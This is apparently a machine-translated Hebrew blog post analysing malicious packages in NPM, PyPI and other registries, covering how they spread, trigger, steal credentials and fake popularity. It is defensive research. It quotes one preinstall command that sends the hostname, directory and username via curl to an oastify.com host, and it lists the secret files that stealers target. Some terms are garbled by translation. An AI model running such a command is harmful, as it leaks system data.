בפרק הקודם, חבילות זדוניות בקוד פתוח: הבעיה, דנו מדוע גורמי האיום היו כל כך נלהבים מפרסום רכיבים זדוניים חדשים או הזרקת תוכנות זדוניות לגרסאות העדכניות ביותר של רכיבים קיימים: תשתית הקוד הפתוח מאפשרת לכל אחד בכל מקום ליצור חשבון זמני ברישום רכיבים (כמו NPM, PyPI, Docker Hub או Visual Studio Marketplace) או בפלטפורמת פיתוח שיתופית (כמו GitHub). עלות אפסית, והזדמנויות רבות למינוף האמון העודף שיש לצוותי תוכנה באופן מסורתי ברכיבים של צד שלישי.
האסימטריה בין הקלות שבה תוקפים יכולים להפיץ תוכנות זדוניות באמצעות התשתית הזמינה לקוד פתוח, לבין הקושי של ארגונים המפתחים תוכנה (כולם?) להימנע מהידבקות בתוכנות זדוניות (ולספק תוכנות זדוניות בתוכנה שהם מפיצים עבור אחרים), הובילה לרבע מיליון החבילות הזדוניות שכמעט הגיעו בשנה שעברה.
זוהי בעיה בסדר גודל כזה שאף ארגון בודד אינו יכול לפתור אותה, והקהילה נמצאת בתהליך של עיצוב מחדש של תהליך הקוד הפתוח בנוגע לאמון, עקרונות של אבטחה כברירת מחדל ואבטחה בעיצוב, ומחזור החיים של רכיבים. נבחן רעיונות כאלה בפרק הבא. הגנה מפני חבילות זדוניות בקוד פתוח: מה עובד (לא עובד).
זכרו שאנחנו מדברים על רכיבי תוכנה שרוב הזמן תואמים ל חבילות תוכנהרכיבים לשימוש חוזר שנארזו כך שניתן יהיה להפנות אליהם כתלות במניפסט תוכנה, ומותקנים באמצעות מנהל חבילות או כלי בנייה. שימו לב שניתן להרחיב מקרה זה כך שיכלול רכיבים ציבוריים תמונות של מכולה (בשימוש על ידי זמני ריצה של קונטיינרים ופלטפורמות תזמור כמו Kubernetes), ו- הרחבות לכלי תוכנה (לבנייה, אוטומציה ופריסה).
כאן אנו מנתחים כיצד זה טקטיקת התקפה המבוססת על רכיבים זדוניים עובד, לפי דוגמאות קודמות ומה שראינו בפלטפורמה שלנו להתרעה מוקדמת מפני תוכנות זדוניות (MEW). ננתח רכיבים זדוניים בממדים שונים:
(1) הדרך שנבחרה להפצה (הרישום בו נעשה שימוש, ברכיב חדש או קיים, והטכניקה בה נעשה שימוש להדבקת גרסת הרכיב שפורסמה), (2) כיצד התוכנה הזדונית מופעלת או מופעלת, (3) ההתנהגות הזדונית, כלומר אילו פעולות מזיקות נצפות ומהי המוטיבציה של התוקף, (4) אילו טכניקות נפוצות לערפול, הסתתרות כדי שלא יבחינו בהן, תנועה רוחבית, תקשורת עם מארחי פיקוד ושליטה (C2) וכו'; ו-(5) הטכניקות להשגת פופולריות ואמון מספקים כדי שהקורבנות יתקינו בסופו של דבר את הרכיב.
מנגנון החלוקה שנבחר
אנו צופים ב"רעש רקע"של חבילות זדוניות לא מתוחכמות המשתמשות ב-typosquatting כדי לפשוט על מפתחים לא זהירים עם שגיאת הקלדה בשם החבילה עבור התלות שלהם. חבילות פופולריות רבות מקבלות מטח של חבילות בעלות שם דומה עם שגיאות הקלדה, בציפייה שהן יפלו על מפתחים לא זהירים מסוימים.
הם משתמשים בחשבון זמני, מפרסמים קבוצה של חבילות typosquat, יוצרים קבוצה נוספת ומפרסמים קבוצה נוספת... בעזרת אוטומציה ותושייה הם יכולים להגיע למעט תחכום, אבל בדרך כלל הם די טריוויאליים. אנחנו קוראים להם באופן פנימי "אנשוביגניבת אישורים היא המטרה העיקרית, אך מדי פעם אנו מוצאים תוכנות ריגול שחודרות לקוד מקור או נתונים רגישים כמו מידע אישי מזהה (PII), לכידת לוח כתיבות וספקות אחרים.
משום מקום אנו רואים רכיבים זדוניים מתוחכמים יותר, ה"כרישים". מיעוטם מכוון נגד קבוצות או ארגונים ספציפיים, בדרך כלל באמצעות מנקזי קריפטו או מרחפני רשת המופעלים באופן מותנה, אולי בהתאם לגישה שנראתה ב- אירוע זרם אירועים של פענוח מטען ההתקפה רק כאשר החבילה מופנית מחבילת יעד.
מנגנון החלוקה נותח במאמר המצוין והקלאסי כיום, "אוסף סכינים של דוקרני גב: סקירה של מתקפות שרשרת אספקה של תוכנה בקוד פתוח", שחובה לקרוא. בוודאי ראיתם את התרשים הנחמד הזה בעבר:
כל הדרכים נבדקו, כולל חבילות חדשות וקיימות; השפעה על קוד המקור, מערכת הבנייה או הרכיב הארוז עצמו; שימוש באישורים גנובים או הנדסה חברתית; חטיפת חשבונות ומאגרים נטושים או הרעלת חשבונות ומאגרים מתוחזקים. חלק מההתקפות קיבלו שמות (Tposposquatting, בלבול תלות, בלבול גלוי, ג'ק-ריפווכו') וכבר נדונו במקום אחר.
ומה לגבי הרישומים שנבחרו?
NPM ממשיכה להוביל במספר הכולל של חבילות זדוניות, אך ראינו עלייה חדה החלה השנה ב-PyPI. Python היא מערכת אקולוגית פופולרית למדעי נתונים ולמידת מכונה. למעשה, צפיפות התוכנות הזדוניות גבוהה כעת ב-PyPI מאשר ב-NPM.
כיצד מופעלת תוכנה זדונית
חבילות זדוניות מופעלות במהלך ההתקנה רק ב-4 מתוך 10 מקרים (בשנים האחרונות זה היה קרוב ל-6 מתוך 10). השאר מפעילות התנהגות זדונית בזמן ריצה, כאשר 1 מתוך 100 מופעלת בזמן הרצת בדיקות. נראה שהיריבים יודעים שהרצה בלתי מבוקרת של סקריפטי התקנה הושבתה במקומות רבים.
מה מקבלים הרעים?
נפרט את קטגוריות ההתנהגות הזדונית, כאשר הפופולריות ביותר תחילה. שימו לב שההשפעה עשויה להיות שונה למדי: א. מגב היא הרסנית באופן עקשני, אך היא אינה שכיחה ונראתה רק במקרים בודדים, הקשורים לקמפיינים ממוקדים של מלחמת סייבר או האקטיביזם ברוטלי. הקטגוריות הבאות נפוצות למדי:
- InfoStealer / מייבש אישוריםהתקפות אלו, הנפוצות ביותר, מעל 90% מהן, הן גנבות פשוטות המחפשות בעיקר אישורים כמו סיסמאות, אסימוני גישה, מפתחות API ומפתחות פרטיים (עבור SSH וכדומה). זוהי כנראה התקיפה הפשוטה ביותר לכתיבה (יחד עם אפליקציות "wipers"). הן מונה קבצים/ספריות ידועים ומקורות אחרים (למשל מפתחות רישום), אורזות את התוכן ושולחות את הנתונים לשרת C2. הרעיון פשוט: "אני מפרסם גנבת עבור אישורי פישינג, כדי שאוכל מאוחר יותר להשתמש באישורים להפעלת מתקפה מכוונת".
רשתות ה-C2 שנצפות הן בדרך כלל זולות ומלוכלכות, כמו ערוצי טלגרם או כלי מנהור דמויי נגרוק (לעתים קרובות בצורה של פרוקסי הפוכים שנחשפים דרך כתובות IP של VPN). ישנן מאות (!) אפשרויות, כאשר פרויקטים רבים של GitHub נמצאים תחת נושא גניבת סיסמאותהתמחויות כמו keyloggers נדירות עבור חבילות זדוניות ותמונות של מכולות, אך שכיחות יותר בהרחבות כלים, שבהן צפויה אינטראקציה של המשתמש.
- מטפטף / מורידהשני בפופולריות, בדרך כלל הראשון בהתקפות רב-שלביות. יותר מאחד מכל שלושה רכיבים זדוניים כוללים קבצים המורידים (droppers) (אם המטען הזדוני כלול בחבילה) או קבצים המורידים (המטען מוריד מנקודת קצה הנמצאת בשליטת התוקף). המטען הוא לרוב גרסה בינארית ידועה של תוכנה זדונית, והוא מופעל ולפעמים נשמר, להתקנת דלתות אחוריות, תוכנות ריגול, מנקזי קריפטו ומקרי שימוש אחרים. המטען שהורד או נפרס מתחיל מתקפה שלב שני עם כל הכוח המסופק על ידי קבצים בינאריים של תוכנות זדוניות קיימות. ניתן להפיץ את הקבצים הבינאריים בתוך החבילה, לרוב במסווה של תמונות או סוגי קבצים לכאורה לא מזיקים, כדי להימנע מגילוי בעת התחברות לאתרים בלתי צפויים.
- גנבי/כורי מטבעות קריפטוגרפייםיריבים בעלי מוטיבציה כלכלית מוכנים להשתמש בנכסי הענן שלך להפעלת כורי קריפטו (הם אפילו מזהים אם הם פועלים במכונה וירטואלית בענן). לא אכפת להם מה... יחס רווח נמוך של דולר אחד עבור כל 53 דולר שגובים מהקורבן עבור תשתית הענן הגנובה. ייתכן שהקורבנות לא יהיו מודעים לכך עד שיקבלו חשבון בלתי צפוי. למרבה המזל, זה בא והולך. Cryptojacking קמפיינים בחבילות זדוניות צצים מדי פעם ואז דועכים, תוך פישינג למשתמשי ארנק או בסופו של דבר מכוונים לספק הארנק, כמו ב- מתקפת ספר חשבונות.
התנהגויות אחרות, כמו פריסת דלת אחורית עבור ביצוע קוד מרחוק על ידי פתיחת מעטפת הפוכה פחות שכיחה כיום מאשר בעבר. לדוגמה, ה- 123rf_contributor_web חבילה (כעת הוסרה מהרישום) נפתחת ללא כל ערפול, מעטפת הפוכה מועתקת והודביקה מה- דף רמאות של מעטפת הפוכה:
בנוסף לרכיבים לגיטימיים וזדוניים, צפינו במספר ניצול לרעה, כולל:
חבילות ספאם
ישנן אלפי חבילות קטנות, רובן ב-NPM, ללא תוכנות זדוניות אך מבטיחות רווחים קלים, שמן נחשים, קישורים להיצע ויאגרה וכל זה. כמה משתמשים מפרסמים ספאם כזה וגוזלים הרבה רוחב פס מהרישום. גורם/ים אחר/ים, כנראה מאינדונזיה, ניסה/ניסו להפיק תועלת על ידי ניצול לרעה של דירוג התה נועד לפצות מפתחי קוד פתוח, על ידי יצירת עשרות אלפי חבילות NPM הקשורות זו לזו עם מאגרי דמה של GitHub קשורים. זוהי הפרה ברורה של תנאי השימוש.
תרמיות של באגים באונטי ומחקר אבטחה
כאשר חבילה מתארת את עצמה כמי שמסננת נתונים למטרות טובות, כמו איתור פגמי אבטחה עבור תוכניות באגים או מחקר היבטים מסוימים של המערכת האקולוגית. ראינו אלפי חבילות בקטגוריה זו, אשר שולפות נתונים מזהים אך לא נתונים רגישים מדי לכתובת Burp Collaborator מ-PortSwigger (למשל, מארח בדומיין oastify.com). לעתים קרובות ראינו חיקויים של ה- בלבול תלות הוכחת היתכנות על ידי אלכס בירסן, כמו ה- אורורה-דוא"ל-פרו package (שהוסרה מהרישום), שפשוט מריץ את הקוד המגעיל הזה בסקריפט שלפני ההתקנה:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") וגם כלל "זוהי הוכחת היתכנות של התקפת בלבול תלות פשוטה"תיאור הצהרת אחריות ב-" package.jsonזוהי הפרה ברורה של תנאי השירות, גם ללא כוונה זדונית.
חדשות טובות? עדיין לא ראינו התקפות כופר המבוצעות דרך רכיבים זדוניים. מסיבות לא ידועות, פושעי סייבר מעדיפים ככל הנראה מנגנוני פישינג מסורתיים יותר בדוא"ל, מבוססי RDP ומנגנוני משלוח הורדות Drive-By.
טכניקות נוספות שנצפו
טכניקות רבות שימשו להתמדה, התחמקות מהגנת הגנה, איסוף מידע, תקשורת עם כוחות פיקוד ובקרה וחילוץ.
התמדה ברכיבים זדוניים מושגת באמצעות תכונות ההתמדה בתוכנה זדונית בינארית בשלב שני, אך לעיתים ההתנהגות ממוקמת בקוד החבילה, כאשר משימות מתוזמנות ושינויים ברישום של Windows הם הנפוצים ביותר.
ערפול נפוץ, אך לא מתוחכם. רוב חבילות ה-typosquatting (זכרו את "אנשובי"?) לא משתמשים כלל בטשטוש; רבים משתמשים או בטשטוש טריוויאלי (קידוד base64/hex או צפני החלפה כמו rot13) או משתמשים בטשטוש קוד זמין ומיניפיקציה, שניתן להפוך בקלות בעזרת הכלים הנכונים. רק ה"כרישים" מבצעים טשטוש אמיתי, קשיח, שקשה לבצע הנדסה לאחור.
ערפול אולי מסתיר את ההתקפה, אבל מדוע קוד ברכיב קוד פתוח צריך להיות ערפול? האם יש ראיות לכך שמשהו צריך להיות מוסתר מהעין? מצאנו מקרים רבים של חבילות לא זדוניות המשתמשות בטשטוש כדי להגן על קניין רוחני, דבר שסותר את "קוד פתוח". ערפול יכול לשמש כראיה לתוכנות זדוניות, אך הוא אינו חד משמעי. קשה גם לבטל את הערפול.
התחמקות מבקרות הגנה נוקטות בטכניקות פשוטות. קוד זדוני מוגן לעתים קרובות ב לנסות... לתפוס בלוקים שמתעלמים מכל חריג, כך שפעילות חריגה אינה מוצגת ביומנים. אימות הסביבה (הפועלת במחשב וירטואלי או במכולה) הוא נדיר, אלא אם כן מדובר בתוכנה זדונית המכוונת לארגון או סביבה מסוימים.
הסוואת קבצים בינאריים בתמונות ובקבצי PDF (מעין סטגנוגרפיה) הייתה טכניקה נוספת שנראתה כדי להתחמק מגילוי.
מכיוון שהרכיבים הזדוניים הנפוצים ביותר הם גנבי מידע, איסוף הנתונים חיוני. סודות (סיסמאות, אסימוני גישה, מפתחות API, מפתחות קריפטוגרפיים) נסרקים באופן שגרתי בקבצי יומן, משתני סביבה ואפילו בלוח (כפי שנראה עם טרויאנים בנקאיים וגנבי קריפטו). חילוץ קוד מקור הוא גם נפוץ, מכיוון שהתקנת החבילות מתבצעת לעתים קרובות בצומת פיתוח שבו מאגרי git פנימיים עשויים להיות משוכפלים. ראינו חבילות שמונה ספריות בחיפוש אחר מאגרי git. חיפוש מיקומים כמו .env, private.pem, settings.py, app.js או application.properties הוא די נפוץ.
חילוץ (exfiltration) הוא פעולה נוספת הנפוצה. רק מיעוט מהחבילות הזדוניות אפילו מנסות להסתיר את יעד הנתונים שחולצו. ערוצי טלגרם ו מנהרות דמויות נגרוק משמשים לעתים קרובות. וישנם רבים דומיינים שבדרך כלל ברשימה הלבנה משמשים לחילוץ.
טכניקות אחרות, כמו הסלמת הרשאות או תנועה רוחבית, היו פחות נפוצות.
צובר פופולריות ואמון
דמיינו נוכל טכנולוגי עם דבר זדוני וקטלני מוכן מראש, שתוה: "איך אני גורם לחתיכת החרא הזאת להיות אמינה לאידיוטים התמימים האלה?".
זה מתורגם לאופן שבו הערך עבור הרכיב הזדוני יציג כוכבים / מזלגות רבים (לפופולריות), בתוספת גרסאות / בעיות ו pull requests (לפעילות). הרעיון הוא להשיג פופולריות פיקטיבית (כוכבים) ותלויים, ומראה משכנע בנוגע לרלוונטיות ותחזוקה.
הרישום אינו בודק אם התוכן בפרויקט GitHub ותוכן החבילה תואמיםזוהי בעיה ידועה בשרשרת האספקה של תוכנה. הרישומים הציבוריים הם בולענים ענקיים שבולעים כל מה שנזרק לעברם. אפשר לקשר כל מאגר.
אם החבילה הזדונית עושה שגיאת הקלדה בחבילה פופולרית, זה קל: פשוט עיין במאגר GitHub הקיים במניפסט התלויות המשמש ליצירת החבילה ופרסומה ברישום. עבור חבילות חדשות במאגר GitHub מזויף, ייתכן שתצטרך יותר תושייה, אולי יצירת חבילות מזויפות. צפייה בכוכבים/פיצול חשבונות GitHub באמצעות סקריפטים.
ואם תוכן החבילה שלכם דומה למדי לתוכן המאגר, הוסיפו כמה שינויים מעוצבים היטב פה ושם... אתם יכולים להחדיר את התוכנה הזדונית שלכם לחבילה חדשה הדומה לחבילה פופולרית המתייחסת למאגר הקיים, ולחכות לשגיאות הקלדה. אם מישהו מעז להשוות את תוכן ה-tarball של החבילה לתוכן ממאגר GitHub, ההבדלים בנקודות הזרקת התוכנה הזדונית עלולים להתעלם בקלות. ראינו גישה זו פעמים רבות בעבר.
מנגנון שבו רכיב יכול להצהיר הצהרה חסינת פגיעה בנוגע למקור, כיצד האריזה נבנתה, מאילו מקורות ועל ידי מי, יתקבל בברכה. אבל זה סיפור אחר.
האם Component X הוא תוכנה זדונית?
האם יש מסד נתונים (מקיף) של חבילות זדוניות? לא. לפגיעויות בקוד פתוח מוקצה מזהה CVE, אך רק חבילות זדוניות מעטות (במיוחד אלו שמגיעות לכותרות) מקבלות מזהה כזה. ה-CWE עבור חבילות זדוניות הוא CWE-506 (קוד זדוני מוטמע).
כלי תוכנות הזדוניות הרגילים (VirusTotal, MalwareBazaar, SOREL-20M...) אינם קובעים תנאים ספציפיים לרכיבים זדוניים. זה יהיה מבורך!
ישנם מאגרי נתונים וערכות נתונים לדוגמה לניתוח (אנו משתמשים בכמה מהם), אך הערכים מתעדכנים רק כאשר החבילה הזדונית ידועה, שלעתים קרובות מאוחר מדי. אם אתם מעוניינים, ה... OpenSSF חבילות זדוניות היא התחלה נחמדה.
בפוסט הבא נדון כיצד לדעת אם חבילה נתונה היא זדונית. ספוילר: כן, ישנן דרכים לבדוק רכיבים זדוניים מוקדם במהלך חלון החשיפה, לפני שהרישום מסיר רכיב זדוני ידוע.
לקריאה נוספת
בפרק הבא "הגנה מפני חבילות זדוניות בקוד פתוח: מה עובד (לא עובד)" נדון במה שמותר ומה שאסור לעשות בנוגע לאבטחת קוד פתוח. לרוב אנשי המקצוע המודעים לאבטחה יש אינטואיציות לגבי כיצד להתמודד עם איום זה, אך תפיסות מוטעות קיימות בשפע.
נסקור מדוע רעיונות אלה שגויים, וכיצד תפיסות מוטעות כאלה תורמות לפופולריות של מנגנון תקיפה זה, ולסיכון העצום שחווים ארגונים. לאחר מכן נמשיך עם מה שכן עובד, ומהם המאמץ והמשאבים הכרוכים בכך.
כמו כן, נפרסם על התפתחותן של חבילות זדוניות מבחינת כוונתן, מנגנון ההזרקה וטכניקות התקפה.
המשך לעקוב!
